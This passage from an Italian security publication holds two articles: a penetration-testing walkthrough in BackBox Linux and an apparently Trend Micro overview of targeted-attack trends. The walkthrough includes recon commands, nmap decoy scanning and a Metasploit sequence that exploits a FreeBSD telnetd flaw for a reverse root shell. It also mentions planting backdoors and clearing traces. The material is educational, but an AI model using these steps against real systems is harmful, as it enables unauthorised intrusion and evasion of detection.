Questa tecnica spesso permette di ottenere il controllo
di un sistema informatico,
l'acquisizione di privilegi
oppure un Denial of Service.
130
Ci sono diversi metodi di classificazione degli exploit,
più in generale avremo un exploit remoto se compiuto attraverso la rete o un exploit locale se si opera
direttamente sul sistema.
Durante la fase di Privilege Escalation sfrutteremo
l’accesso ricavato attraverso l’exploit per innalzare i
propri privilegi; questo può avvenire sfruttando ulteriori vulnerabilità di sistema, sniffando pacchetti che
transitano nella rete o semplicemente cercando di
ottenere in chiaro le password di un utente amministratore.
Violato il sistema è indubbiamente preferibile
crearsi un accesso comodo e duraturo in grado di
poter operare in un secondo momento anche da
remoto senza ripetere l’intera procedura di hack.
Nella fase di Maintaining Access si installano abitualmente Backdoor o WebShell che ci permettono di
avere il controllo immediato del sistema.
Infine la nostra attività di Pen Testing si conclude
con la stesura di un Report dettagliato includendo
tutte le vulnerabilità riscontrate, l'analisi dell'impatto
di rischio ed eventualmente una possibile soluzione
tecnica al problema. È anche buona prassi eliminare
ogni eventuale traccia che si è lasciata nel sistema.
3. Simulazione di un Caso Reale
La nostra simulazione viene svolta sul modello
Black Box nel quale non si ha alcuna conoscenza del-
Figura 1: BackBox Linux
PENETRATION TESTING SIMULATION
l’infrastruttura oggetto dell’analisi; tutte le informazioni dovranno essere ricavate attraverso i nostri test.
La simulazione verrà svolta sfruttando la distribuzione open source BackBox Linux (http://it.wikipedia.org/wiki/BackBox), un sistema operativo dedicato al penetration testing. Utilizzando una distribuzione orientata al Pen Testing beneficiamo di avere
un sistema flessibile ed ottimizzato per condurre
diversi test di sicurezza informatica.
3.1 Information Gathering
In questa fase preliminare raccoglieremo quante
più informazioni possibili sul nostro target al fine di
ricavare preziosi dati da sfruttare nel corso della
simulazione. Inizieremo quindi a ricavare l’indirizzo
IP e il Whois dell’infrastruttura da controllare:
Digitando il comando:
$ host www.azienda.com && whois
www.azienda.com
otterremo come risultato:
www.azienda.com is an alias for azienda.com.
azienda.com has address 123.456.789.001
azienda.com mail is handled by 10
mail.azienda.com.
Whois Server Version 2.0
Domain:
Status:
Created:
Last Update:
Expire Date:
azienda.com
ok
2007-09-21 15:13:22
2011-10-06 01:28:38
2012-09-21
Registrant
Name:
Organization:
ContactID:
Phone:
Fax:
Azienda srl
Azienda srl
[email protected]
+39-051-123456
+39-051-654321
Registrar
Organization:
Name:
Web:
Provider XYZ
XYZ-REG
http://www.XYZ.com
Nameservers
dns.dnsservice.com
dns2.dnsservice.com
Come è possibile notare dall’output abbiamo iniziato a raccogliere le prime informazioni fondamentali, che per comodità sono state evidenziate.
L’indirizzo IP ci servirà per proseguire nella nostra
analisi, inoltre abbiamo già rilevato un Mail Server
sulla stessa macchina e tre possibili contatti (eMail,
Telefono, Fax) dell’azienda utili per un eventuale
attacco di tipo Social Engineering.
Un’eventuale ulteriore comprova della presenza
del Mail Server all’interno della stessa macchina possiamo ottenerla attraverso il comando dig con argomento any, in grado anche di rilevarci i DNS sfruttati dal dominio.
$ dig azienda.com any
;; QUESTION SECTION:
;azienda.com .
;; ANSWER SECTION:
azienda.com . 5
123.456.789.001 .
azienda.com . 5
mail.azienda.com .
azienda.com . 5
dns.dnsservice.com .
azienda.com . 5
dns2.dnsservice.com .
IN
ANY
IN
A
IN
MX
IN
NS
IN
NS
10
Raccolte le informazioni base della struttura in
analisi procediamo ad effettuare un Port Scanning
sfruttando Nmap, un software libero in grado di
individuare le porte aperte e i servizi di rete disponibili sul sistema bersaglio o anche su un range di indirizzi IP. Nmap è sicuramente uno strumento indispensabile per un Auditor, il software è disponibile
su linea di comando ma per chi volesse sfruttare una
pratica interfaccia grafica è possibile utilizzare il software Zenmap.
Per analizzare le porte aperte nel nostro sistema
avente IP 123.456.789.001 lanceremo il comando:
$ nmap -T4 -A -v www.azienda.com
L’argomento A ci permette di effettuare un’analisi completa del sistema determinando la versione del
sistema operativo, dei servizi attivi e misura i tempi
di percorrenza verso l’host (Trace Route).
L’argomento T4 permette di ottenere una
esecuzione più rapida ed infine l’argomento V (verbosity) permette di avere un rapporto completo dei
risultati ottenuti. Un sunto del report visualizzato è il
seguente:
Starting Nmap 5.51 ( http://nmap.org )
Scanning www.azienda.com (123.456.789.001) [4
ports]
Completed Ping Scan at 10:55, 0.01s elapsed
(1 total hosts)
Scanning www.azienda.com (123.456.789.001)
[1000 ports]
Discovered open port 25/tcp on
131
Andrea Draghetti
123.456.789.001
Discovered open
Discovered open
Discovered open
123.456.789.001
Discovered open
Discovered open
123.456.789.001
Discovered open
123.456.789.001
Discovered open
123.456.789.001
Discovered open
123.456.789.001
port 80/tcp on 123.456.789.001
port 21/tcp on 123.456.789.001
port 143/tcp on
port 22/tcp on 123.456.789.001
port 3306/tcp on
port 993/tcp on
port 443/tcp on
port 465/tcp on
Il report ci conferma ancora una volta l’indirizzo
IP in precedenza rilevato con il comando host e
l'identificazione di 9 porte associate ai corrispettivi
servizi (FTP, SSH, IMAP, SMTP, ecc.).
Possiamo sfruttare tantissime opzioni per enumerare più dettagliatamente il risultato della scansione
oppure utilizzare script sviluppati da terze parti per
integrare nuove funzionalità, per esempio con il
comando “-d X” aumenteremo il livello di debugging
dell’output sostituendo la X con un numero compreso da 0 a 9 dove 9 è il valore più significativo.
Un firewall correttamente installato nel server da
analizzare potrebbe impedirci di effettuare una scansione completa, Nmap ci offre pertanto delle opzio-
ni per poter eludere i più comuni filtri dei firewall una
di esse è la scansione di tipo “Decoy”. L’utilizzo di
questa tecnica con Nmap permette di definire una
serie di host “esca” (denominati appunto Decoys), da
cui inviare pacchetti che avranno quindi IP differenti.
In questo modo il firewall si vedrà arrivare pacchetti
da vari indirizzi IP e potrebbe non riuscire a determinare da quale di essi è partita la scansione.
Ottenute queste informazioni usufruiremo del
software Maltego (http://www.paterva.com/) per
organizzare al meglio i dati raccolti tracciando uno
schema completo e dettagliato sulla natura della rete
che stiamo esaminando.
3.2 Vulnerability Assessment
Raccolti i principali dati possiamo procedere ad
un’analisi automatizzata dei servizi attivi sul sistema,
ci serviremo di OpenVAS un framework libero rilasciato sotto licenza GPL per la scansione automatica
delle vulnerabilità. È un fork del famoso security
scanner Nessus il quale venne reso a pagamento dalla
versione 2.5.
OpenVAS sfrutta una comoda interfaccia WEB
per interagire con l’utente ed è un software preinstal-
Figura 2: OpenVAS
132
PENETRATION TESTING SIMULATION
lato su BackBox disponibile all’interno del menu
“Auditing” > “Vulnerability Assessment” ma è fondamentale lanciare i servizi ad esso associati dal
menu “Services” di BackBox.
OpenVas ci permette di ottenere in breve tempo
una scansione automatizzata di tutti i servizi attivi sul
sistema e di individuare eventuali vulnerabilità note,
toccherà a noi selezionare tra i possibili risultati l’exploit adatto al nostro scopo.
È possibile verificare online i diversi exploit disponibili attraverso i due principali motori di ricerca
1337day.com e exploit-db.com.
3.3 Exploitation e Privilege Escalation
L’analisi condotta con OpenVAS ha portato alla
luce l’utilizzo del sistema operativo FreeBSD sulla
macchina in analisi. FreeBSD è un sistema operativo
di tipo UNIX sfruttato principalmente in ambito server grazie alla sua ottima stabilità e la scalabilità della
parte di networking.
Nel dicembre 2011 è stato rilasciato il bollettino
CVE:2011-4862 in quale comunica un exploit di tipo
remoto per tutte le versione di FreeBSD 8.2 o minori. La vulnerabilità sfrutta un Buffer Overflow del
servizio telnetd il quale ci permette di ottenere l’accesso remoto al sistema con anche i permessi di root.
Per sfruttare la vulnerabilità utilizzeremo
Metasploit, uno strumento per lo sviluppo o l’esecuzione di exploit, al suo interno raccoglie diverse utility e centinaia di exploit. Metasloit è disponibile
all’interno di BackBox all’interno del menu
“Exploiitation”.
Procediamo
Metasploit:
innanzitutto
ad
aggiornare
$ msfupdate
Avviamolo:
$ msfconsole
Ora impostiamo l’exploit da sfruttare:
> use
exploit/freebsd/telnet/telnet_encrypt_keyid
Impostiamo l’host della macchina in analisi:
> set RHOST 123.456.789.001
Impostiamo il Payload con quello di default di
Metasploit:
> set PAYLOAD bsd/x86/shell/reverse_tcp
Impostiamo l’host locale della nostra macchina:
> set LHOST 192.168.0.15
Ed infine lanciamo l’exploit:
> exploit
Abbiamo così ottenuto l’accesso al sistema tramite una shell remota con i
completi poteri dell’utente
root, verificabile attraverso i
seguenti due comandi:
$ id && uname -a
Figura 3: Metasploit
Se l’accesso al sistema
non ci permette di ottenere
l’immediato accesso di root
dovremo sfruttare un’ulteriore vulnerabilità per potere acquisire il controllo
completo del terminale,
solitamente si verifica la versione del Kernel per poi
analizzare eventuali exploit
ad esso associati.
Un recente Exploit di
133
Andrea Draghetti
Figura 4: Dradis
Gennaio 2012 permette di ottenere i permessi di root
su tutti i sistemi Linux 32Bit e 64Bit aventi Kernel
2.6.39 o maggiore (CVE-2012-0056).
3.5. Reporting
Stilare un report o condividere i risultati ottenuti
134
con il proprio team è uno degli aspetti più importanti per un’ottima analisi di Pen Testing, in supporto a
questa attività è disponibile Dradis un framework
open source dedicato al mondo della sicurezza informatica disponibile come applicativo Web. Dradis è
disponibile in BackBox nel menu “Documentation e
Reporting”.
Gastone Nencini
Country Leader Trend Micro Italy e Senior Technical Manager Trend Micro Southern Europe
TRENDS IN TARGETED ATTACKS
Sommario
Gli attacchi mirati costituiscono una categoria di minacce
specifiche da parte di criminali informatici che, attraverso l’intrusione nelle reti, perseguono obiettivi e strategie molto precise. Facendo spesso leva su malware e tecniche di social engineering, questa tipologia di attacchi è finalizzata a stabilire e
mantenere una presenza persistente nella rete dell'organizzazione colpita, con il fine di potersi muovere al suo interno alla
ricerca di informazioni sensibili.
Questo genere di attacchi ha generalmente come obiettivo
enti e organismi pubblici, aziende e organizzazioni militari.
Considerata la loro specifica natura, questi attacchi mirati non
sono molto diffusi, tuttavia il loro impatto sulle organizzazioni che ne sono vittima è molto elevato, con possibili gravi conseguenze; riuscire quindi a prevenire e contrastare in modo efficace questo tipo di minacce è estremamente importante e prioritario. Questo articolo esamina le varie fasi di un attacco
mirato: dalla ricognizione preliminare fino alla fase di furto
dei dati, analizzando in dettaglio le tendenze relative ai tool,
alle tattiche e alle procedure utilizzate. Segue un esame approfondito delle diverse strategie di risposta, basate sulla ricerca e
conoscenza delle varie minacce e delle misure di protezione
attualmente disponibili, fornendo così alle imprese e alle organizzazioni tutte le informazioni necessarie per impostare una
efficace strategia di difesa, identificando soluzioni tecniche personalizzate in funzione delle diverse specifiche esigenze.
1. Introduction
Targeted attacks that exploit vulnerabilities in
popular software in order to compromise specific
target sets are becoming increasingly commonplace.
These attacks are not automated and indiscriminate
nor are they conducted by opportunistic amateurs.
These computer intrusions are staged by threat
actors that aggressively pursue and compromise specific targets. Such attacks are typically part of broader campaigns, a series of failed and success compromises, by specific threat actors and not isolated
attacks. The objective of the attacks is to obtain senSpeciale Sicurezza ICT
A bstract
Targeted attacks constitute a threat category that refers to
computer intrusions staged by threat actors that aggressively
pursue and compromise specific targets. Often leveraging social
engineering and malware, these attacks seek to maintain a
persistent presence within the victim’s network so that the
attackers can move laterally throughout the target’s network
and extract sensitive information. These attacks are most commonly aimed at civil society organizations, business enterprises
and government/military networks. Given the targeted nature of these attacks, the distribution is low; however, the impact
on compromised institutions remains high.
As a result, targeted attacks have become a priority
threat.
This paper will examine the stages of a targeted attack
from the reconnaissance phase through to the data ex-filtration
phase and will explore trends in the tools, tactics and procedures used in such attacks. It will conclude with a high-level
examination of mitigation strategies that leverage threat intelligence and data security in order to provide organizations with
the information they need to increase their human capacity, to
analyze and respond to threats and to customize technical
solutions in ways that best fit their own defensive posture.
sitive data.
Prior to the highly publicized “Aurora” attack on
Google in late 2009, which also affected at least 20
other companies, there was little public awareness
regarding targeted malware attacks1.
However, such attacks have been taking place for
years and continue to affect government, military,
corporate, educational, and civil society networks
today. While such attacks against the U.S. government and related networks are now fairly wellknown, other governments and an increasing number of companies are facing similar threats. Earlier
this year, the Canadian, South Korean, and French
135
Gastone Nencini
governments have all experienced serious security
breaches into sensitive networks2. Recently, the
European Commission and the External Action
Service were also compromised and there was a
significant breach at the International Monetary
Fund3.
The security firm RSA was also recently compromised as a result of a targeted malware attack4.
Following the breach at RSA, the data stolen during
that attack may have aided subsequent attacks against
L-3 Communications, Northrop Grumman and
Lockheed Martin5. The trend continues 2011 with
compromises at the Oak Ridge National Laboratory
and the Pacific Northwest National Laboratory in
the United States6. Such targeted attacks leveraging
social engineering have been ongoing since at least
20027. The first of such campaign to receive significant press coverage occurred in March 2004 and was
known as Titan Rain8. The attacks were revealed by
TIME magazine in 2005 and highlighted the emergence of “cyber-espionage” and threat is poses to
government and military networks. In 2006, The
Guardian reported on a series of attacks against
British MP’s which leveraged highly targeted emails
and attempted to install malware capable of stealing
sensitive documents9. The following year Der Spiegel
reported on attacks against the German government
that used malware embedded in popular office files
such as Microsoft Word and Excel10. In 2007, the
New York Times revealed that the Oak Ridge
National Laboratory in the Unites States was compromised and that the attackers had used targeted
phishing emails11. In 2008, BusinessWeek documented the extension of such threats to defense contractors and other large, private enterprises12. This report
revealed the social engineering techniques used to
lure potential victims into executing malware allowing the attackers to take full control of their computers. Finally, the BusinessWeek also revealed that
the same attackers had expanded their target set to
include the civil society sector as well. In the same
year, researchers demonstrated the connection between targeted malware attacks using social engineering and malicious documents13. Several presentations at security conferences revealed that attackers
were using exploits in popular software packages to
send malicious documents (such as PDFs, DOCs,
XLSs and PPTs) using contextually-relevant, socially
engineered emails to a variety of targets. Moreover,
an analysis of the malware as well as the command
and control infrastructure revealed that attacks
136
against the corporate
sector, the government and military sector as well
as civil society could be linked to the same threat
actors14.
In 2009, the New York Times revealed the existence of GhostNet, a cyber-espionage network that
had compromised over 2000 computers in 103 countries15. Among the victims there were high concentrations of compromised computers at Ministries of
Foreign Affairs, Embassies and Diplomatic missions
around the world. The attackers used socially engineered emails to lure victims into clicking on malware-laden attachments that allowed the attackers to
gain control over the compromised system. After the
initial compromise, the attackers would instruct the
compromised computers to download a Trojan,
known as gh0st or gh0stRAT, which allowed the
attackers to take real-time control over the compromised system.
The network was named GhostNet after the
attackers’ use of gh0stRAT. The attackers were able
to maintain persistent control over that compromised computers. In fact, the average length of compromised was 145 days; the longest infection span
was 660 days.
This discovery highlighted the fact that attackers
do not need to be technically sophisticated or advanced. With some functional but less-than-impressive
code along with the publicly available gh0stRAT tool
these attackers were able to compromise and maintain persistent control of embassies around the
world. This research also showed that attackers can
and do make mistakes which allow researchers to
uncover the hidden components of their operations.
A year later, the New York Times again reported
on the existence of another cyber-espionage network16. The report enumerated a complex and tiered
command and control infrastructure. The attackers
misused a variety of services including Twitter,
Google Groups, Blogspot, Baidu Blogs, blog.com
and Yahoo! Mail in order to maintain persistent control over the compromised computers. This top layer
directed compromised computers to accounts on
free web hosting services, and as the free hosting servers were disabled, to a stable core of command and
control servers. While less than 200 computers were
compromised, almost all in India, the recovered data
included Secret, Confidential and Restricted documents.
In 2010, the Christian Science Monitor report
that there were significant breaches in the networks
of three major oil companies: Marathon Oil,
ExxonMobil, and ConocoPhillips17. The CSM reported that senior executives were targeted with socially
engineered emails that contained malware. In 2011,
McAfee reported similar attacks against oil companies around the world. Companies in the energy and
petrochemical industries were also targeted18.
McAfee released another report, “Shady RAT” that
documented intrusion into at least 70 organizations
around the world19.
Trend Micro discovered an ongoing series of targeted attacks, known as “LURID,” that have successfully compromised 1465 computers in 61 different
countries. The Lurid Downloader attacks appear to
be another separate but related Enfal network with a
geographic focus. Although there is clear evidence
that the Tibetan community is also a target, interestingly the majority of victims of this attack are concentrated in Russia and other CIS countries. From
our analysis, we ascertained that numerous embassies
and government ministries, including some in
Western Europe, have been compromised as well as
research institutions and agencies related to the
space industry20.
While targeted malware attacks are currently used
to steal data, future attacks could aim to modify data.
The emergence of Stuxnet in 2010 revealed that targeted malware attacks could be used to interfere with
industrial control systems21. Stuxnet was designed to
modify the behaviors of programmable logic controllers (PLCs) for specific frequency converter drives manufactured by two companies, one in Finland
and the other in Iran22. The target of the attack is
widely believed to be Iran’s uranium enrichment
capability23 Stuxnet demonstrates that future threats
could focus on sabotage, not just espionage.
While the distribution of targeted attacks remains
low, the impact on high profile institution remains
high. Most Internet users will never be victims of
targeted attacks and are much more likely to face a
variety of common threats such as fake security software (FAKEAV) and banking Trojans (Zeus,
SpyEye, Bancos)24. However, the methods used in
targeted attacks being adopted by the criminal actors
have a much larger target set. For example, exploits
used in a targeted attack may eventually find their
way into exploit packs that are sold in underground
forums. Moreover, those in the cybercrime underground may be increasingly interested in and possibly profiting from the extraction of sensitive information. In fact, a recent series of attacks, that can be
loosely considered as targeted, involved the use of
ZeuS and a well known cybercrime infrastructure to
extract documents from U.S. government networks25.
Moreover, there have been some suggestions that
threat actors involved in cyber-espionage are directly
cooperating with cyber-criminals26.
The boundaries between online crime and espionage appear to be blurring, making issues of attribution increasingly more complex. At a minimum,
these developments indicate that attacks that are
often considered to be criminal in nature, such as the
targeting of banking credentials of individuals, also
pose a threat to those in the government and military
sectors. It is well understood that these attackers aim
to maximize their financial gain from malware
attacks. Therefore, these developments may indicate
that there is an emerging market for sensitive information as criminal networks seek to monetize such
information and develop their capabilities in this
area27.
1.1 Targeted Attacks
Targeted attacks constitute a threat category that
refers to computer intrusions staged by threat actors
that aggressively pursue and compromise specific
targets. Often leveraging social engineering and malware, these attacks seek to maintain a persistent presence within the victim’s network so that the attackers can move laterally throughout the target’s network and extract sensitive information. While information may trickle out in the press about a single victim or a single attack, there are usually many more.
Moreover, they are often geographically diverse and
most commonly aimed at civil society organizations,
business enterprises and government/military networks. Given the targeted nature of the attacks, the
distribution is low; however, the impact on compromised institutions remains high. As a result, targeted
attacks have become a high priority threat.
In a typical targeted attack, a target typically receives a socially engineered message—such as an email
or instant message—that encourages the target to
click on a link or open a file. The links and files sent
by the attacker contain malware that exploits vulnerabilities in popular software such as Adobe Reader
(e.g. pdf ’s) and Microsoft Office (e.g. doc’s). The
payload of these exploits is malware that is silently
executed on the target’s computer. This allows the
attackers to take control of and obtain data from the
compromised computer.
137
Gastone Nencini
The attackers may then move laterally throughout
the target’s network and are often able to maintain
control over compromised computers for extended
lengths of time. Ultimately, the attackers locate and
ex-filtrate sensitive data from the victim’s network.
These targeted attacks are rarely isolated events. It
is more useful to think of them as campaigns—a
series of failed and successful attempts to compromise a target over a period of time. Therefore the
specificity of the attacker’s prior knowledge of the
victim affects the level of targeting associated with a
single attack. As a result, some attacks appear to be
less precise, or “noisy,” and are aimed at acquiring
information to be used in a future, more precise
attack28.
Such “spearphishing” attacks are “usually directed toward a group of people with a commonality”
as opposed to a specific target but are useful for gaining an initial foothold in a future target of interest29.
When technical information regarding the target’s
preferred antivirus products and specific versions of
installed software is combined with intelligence
acquired from previous attacks and/or harvested
from publicly available information and social networking platforms, an advanced combination of
social engineering and malicious code can be deployed against the target30.
Analyzing the stages of an attack can provide
insight into the tools, tactics and procedures of the
attackers31. This behavior helps indicate whether an
attack can be linked to a broader campaign and helps
build intelligence that can be used to inform incident
response procedures and help mitigate future advances by the attacker. While there is considerable overlap, the anatomy of an attack can be segmented into
six components:
• Reconnaissance/Targeting—profiling the
target in order to acquire information concerning their defensive posture and deployed
software as well as a contextual understanding
of roles and responsibilities of key personnel
and relevant themes to inform social engineering.
• Delivery Mechanism—selection of a delivery mechanism, such as Email or IM, in conjunction with social engineering and embedding malicious code into a delivery vehicle
(such as exploit code and malware embeddd
in a PDF document).
• Compromise/Exploit—execution of malicious code, usually involving human interac-
138
tion after successful social engineering, that
results in a compromise that delivers control
of the target system to the attackers.
• Command and Control—communication
from the compromised system to a server
under the attacker’s control. This could be a
server component of a remote access Trojan
(RAT) or a server that receives “check ins”
that notify the attacker of a successful compromise and allows the attackers to issue commands and download additional malware to
the compromised system.
• Persistence/Lateral Movement—mechanisms that allow malware to survive a reboot,
continued remote access (e.g. through legitimate VPN credentials and/or additional backdoors) and lateral movement throughout the
network enumerating file systems and seeking
sensitive information.
• Data Ex-filtration—staging and transmitting
of sensitive data, often involving encryption,
compression and chunking, to locations under
the attacker’s control.
The threat actors behind targeted malware attacks
do not always use zero day vulnerabilities—exploits
for vulnerabilities for which there is no patch available. While some might believe that the threat actors
behind targeted malware attacks have mythical capabilities, both in terms of their operational security
and the exploits and malware tools used, they, in fact,
often use older exploits and simple malware32. The
objective of these attacks is to obtain sensitive data;
the malware used in the attacks is just an instrument.
They will use whatever is required to gain entry
based on reconnaissance. In addition, they will adjust
their tactics in reaction to the defenses of the victim.
Therefore, an active defense requires a combination of technical and human capacity with an emphasis on data protection. First, technical solutions for
defense, monitoring and remediation must be in
place. While organizations typically maintain defenses such as antivirus software, intrusion
detection/prevention systems, firewalls and other
security products, monitoring, logging and analysis
of the outputs of these tools is critically important33.
The ultimate objective behind targeted attacks is the
acquisition of sensitive data. Therefore data loss prevention strategies that focus on identifying and protecting confidential information are critically important. Enhanced data protection and visibility across
the enterprise provides the ability control access to
sensitive data and to monitor and log successful and
unsuccessful attempts to access it. Enhanced access
controls and logging capabilities allow security
analysts to locate and investigate anomalies, respond
to incidents and initiate remediation strategies and
damage assessments.
Building human capacity is an integral component of defense. The threat actors behind targeted
attacks make considerable effort to improve their
social engineering because they know that exploiting
the human factor is a critical component of a successful compromise. As a result, education and training programs are a key. Staff and employees must
be aware of targeted attacks and must be expecting
them. In addition, the policies and procedures must
be in place to both minimize exposure and provide
clear and consistent processes that allow staff to
report suspected attacks. In order to ensure that
reporting and investigation occur, it is important to
identify who owns that process and can trigger the
remediation and damage assessment strategy if a
compromise should occur.
Information security analysts armed with threat
intelligence are a critical component of defense.
Threat intelligence provides information on the
tools, tactics and procedures of threat actors.
Understanding these processes allows information
security analysts to customize defensive strategies to
counter the specific threats an organization faces. As
a result, an organization can integrate threat intelligence, increased human capacity, and technical solutions in a customized way that best fits their own
defensive posture.
2. Trends in Targeted Attacks
2.1 Reconnaissance/Targeting
The use of social engineering in targeted malware attacks is ubiquitous. Social engineering refers to
techniques that “exploit the human element” by
manipulating trust34. The objective of social engineering is to manipulate individuals into revealing sensitive information or executing malicious code. In
order to increase the efficacy of social engineering,
information gleaned from a variety of public sources
including business profiles and social networking
sites is often used.
Social engineering attacks typically leverage current events, subject areas of interest and business
functions related to the target. Since malware attacks
are more likely to be successful if they appear to
have originated from someone the target knows, the
delivery mechanism, usually an email, is often specifically addressed to the target and appears to have
originated from someone within the target’s organization or someone in target’s social network35. In
extremely targeted cases, attackers may actually send
email directly from a compromised, but real, email
account of someone the target knows and trusts.
There are a variety of social engineering techniques that are commonly seen in the wild. In order to
masquerade as a real person that is known to the target, attackers will actually register email addresses
with popular webmail services such as Gmail,
Yahoo! Mail and Hotmail using the names of the target’s colleagues. While there are still attacks that
spoof legitimate business or governmental email
addresses in order to convey legitimacy, these
attempts may be more easily detected36. The attacker’s shift to personal email addresses also reflects the
fact that employees often check their personal email
accounts from work and sometimes use these
accounts for business purposes37.
Attackers will often leverage authority relationships, such as boss-employee, in order to communicate a sense of importance so that the target will
open a malicious attachment. To increase the authenticity, attackers will also use classification markings of
the government and intelligence services38.
In order to help detect social engineering attacks,
messages can be assessed for accuracy, language,
spelling and grammar as well as relevance to the target. However, attackers are now using techniques
such as forwarding legitimate emails, from mailing
lists or from emails acquired from previously successful attacks, along with malicious links and attachments. As users grow weary of unknown attachments and scan them with anti-malware products,
attackers are also now sending two or more attachments with one socially engineered email with one of
them containing malicious code. If the target
manually scans one of the attachments and no malware is detected, the user may open the other attachments, including the malicious one, without having
manually scanned them believing that they are all
clean.
Attackers engage in reconnaissance not just to
improve the level of social engineering used in an
attack, but to profile the software used by the target.
One of the techniques used, in conjunction with
139
Gastone Nencini
social engineering, leverages the “res://” protocol in
order to determine the software present in the target’s environment. This information can then be used
in future attacks to identify specific applications in
order to select an appropriate exploit39. The res://
protocol, which was built into Internet Explorer
since version 4.0, can be used to remotely detect specific software present on a computer by simply getting a user to visit a Web page from a browser40.
We have found attacks that have used the res://
protocol to check a target’s environment for file-sharing programs, web browsers, remote administration
tools, email clients, download managers, and media
players. In addition, attackers are able to detect security software, including major antivirus products and
personal firewalls, as well as the PGP encryption
software and Microsoft security updates. They also
check for virtual machine software, such as VMWare,
which may indicate that they are being investigated
by the security community.
The information obtained via social engineering,
whether or not the attack was a success or a failure,
is incorporated by attackers in future attacks.
2.2 Delivery Mechanism
The delivery mechanism in a targeted attack is
typically an email. However, attackers may also use
instant messaging services to entice the target into
clicking a malicious link or downloading malware.
The emails are often sent from webmail accounts,
especially Gmail, or from spoofed email addresses,
such as government email addresses, through compromised mail servers41. Often, the email will contain
an attached document, such as a PDF a Word
Document, Excel spreadsheet or PowerPoint presentation. These attachments contain malicious code
designed to exploit vulnerabilities is specific version
Adobe’s PDF reader or Flash and versions of
Microsoft Office.
However, attackers still use executables as attachments, or provide links to download them. Recently,
malware has been discovered that uses Unicode characters to disguise the fact that it is an executable.
This technique allows the attackers to make executables files that end with an “.exe” suffix, appear to end
in “.doc.” In order to take advantage of default
Windows configurations that do not show file extensions, attackers have attempted to trick users into
thinking that executables are simply directories by
making their executable’s icon an image of a folder42.
140
Typically, attackers hide executables inside of
compressed file formats such as ZIP or RAR.
Sometimes, these archive files are encrypted to avoid
network-based malware scanning and the attackers
provide the password to decrypt the archive within
the socially engineered email.
Finally, rather than include an attachment with a
socially engineered email, attackers will simply include links to web pages that contain exploit code.
Known as “drive by” exploits, these web pages contain code designed to exploit vulnerabilities in popular browsers and browser plug-ins to install malware
on the target’s computer. Rather than send the target
to a completely unknown web page, attackers are
now compromising legitimate 39 http:// websites
that are contextually relevant to the target and
embedding “iframes” that silently load exploits from
locations under the attackers control43.
While email has been the most common delivery
mechanism for targeted attacks, there are increasing
reports of attempts made using instant messaging
and social networking platforms. There have been
reports of Facebook messages being used as delivery
mechanisms and the New York Times reported that
the “Aurora” attack on Google originated with an
instant message44.
2.3 Compromise/Exploit
In order to install malware on the target’s computer, attackers will use malicious code that is designed
to exploit a vulnerability, or “bug,” in a particular
piece of software. Typically, attackers are most often
exploiting flaws in Adobe’s PDF reader, Adobe Flash
and Microsoft Office. The attack surface among
these software packages is being extended by embedding one file format inside another. For example, a
recent attack involved embedding a malicious Flash
object inside a Microsoft Excel spreadsheet45. As the
vulnerabilities are fixed, or “patched” attackers seek
new exploits known as zero day exploits. The term
“zero day” refers to exploits for which there is no
patch available from the software vendor.
While several high profile campaigns, such as the
“Aurora” attacks against Google and the recent
breach of RSA, have leveraged zero day exploits in
order to compromise their targets, many targeted
attacks do not employ the use of zero day exploits46.
In fact, some older, reliable exploits such as CVE2009-3129, CVE-2010-3333, CVE-2010-2883 for
Adobe PDF Readers and Microsoft Office are still in
use. In addition, attackers may use “drive-by
exploits,” such as the zero day exploit for Internet
Explorer that was used in “Aurora” (as described in
MS10-002), not just malicious documents.
Vulnerabilities in popular webmail services have
been exploited to compromise email accounts.
Personal email is increasingly becoming a target as
users who check their personal email accounts at
work may provide attackers with sensitive information that may be related to their company47.
Moreover, their personal email account can be used
to stage future targeted attacks. While there was considerable media attention regarding a recent phishing
attack on Gmail users, there has been a variety of
recent attacks on popular Webmail platforms48. In
addition to attacks that exploited Gmail, Hotmail
and Yahoo! Mail users have also been targeted.
While the attacks appear to have been separately
conducted, these have some significant similarities.
Google also previously revealed that attackers are
exploiting a vulnerability in the MHTML protocol in
order to target political activists who use Google’s
services49. Trend Micro researchers in Taiwan revealed a phishing attack that exploited a vulnerability in
Microsoft’s Hotmail service. In fact, rather than clicking a malicious link, even the simple act of previewing the malicious email message can compromise a
user’s account50. Trend Micro researchers also
recently alerted Yahoo! of an attempt to exploit
Yahoo! Mail by stealing users’ cookies in order to
gain access to their email accounts51.
Attackers are able to successfully exploit their targets because their reconnaissance, along with knowledge gained from previous attacks, allows them to
determine what exploits to deploy. If certain attack
vectors are well secured, attackers will locate areas of
vulnerability elsewhere.
2.4 Command and Control
When malware is executed on the target’s system,
it “checks in” with one or more servers under the
control of the attackers. Command and control
mechanisms allow the threat actors to confirm that
an attack has succeed, typically supplies them with
some information about the target’s computer and
network and allows the attackers to issue commands
to the compromised target. The initial malware is
often a simple, small “dropper,” so the attackers will
often instruct the compromised computer to download components that have additional functionality.
The attackers will commonly instruct the compromised computer to download second stage malware, such as a remote access tool/Trojan (RAT)
which allows the attackers to take real time control of
the system.
Keeping the communication channel between the
compromised machine and the command and control server open is important to the threat actors
behind targeted malware attacks. As network monitoring software improves and is able to identify malicious and even anomalous traffic, an increasing
amount of obfuscation and stealth is being used to
conceal command and control network traffic.
Increasingly, malware is making use of cloud-based
command and control in an attempt to blend in to
normal network traffic52. These services can be used
as update mechanisms that inform the compromised
host of new command and control servers, or they
can be used as command and control exclusively.
For example, there are malware samples that use
webmail accounts as elements of command and control. When malware connects to well known services
such as Gmail or Yahoo! Mail the session is protected by SSL encryption and therefore network monitoring software will be unable to determine if the
subsequent traffic is malicious or not. The attackers
use such webmail accounts to send commands to
compromised hosts, update compromised hosts with
additional malware tools or components, and ex-filtrate data from compromised hosts. In addition to
webmail services, could-based storage services are
being used to host additional malware components.
The use of such services provides the attackers with
command and control infrastructure that cannot be
easily detected as malicious.
Some threat actors use compromised legitimate
sites as command and control servers. This allows
the attackers some element of deception because
even if the network communication is detected as
anomalous, upon further inspection the website will
be determined to be legitimate. One threat actor
simply embeds commands within HTML comment
tags in web pages on compromised, legitimate web
sites. The malware simply visits these pages and
extracts and decodes the commands. The use of
custom base64 alphabets and XOR makes decoding
the command and the network traffic increasingly
difficult. In addition, attackers are making use of stolen or forged SSL certificates in an attempt to make
their network traffic appear to be legitimate.
Some threat actors continue to register domains
141
Gastone Nencini
names for their own exclusive use while others rely
on dynamic DNS services for free sub-domains. The
free sub-domains provided by Dynamic DNS services are often used in conjunction with often off-theshelf RAT’s such as gh0st and poisonivy. While the
threat actors are offline, the domain names will often
resolve to localhost or invalid IP addresses, and when
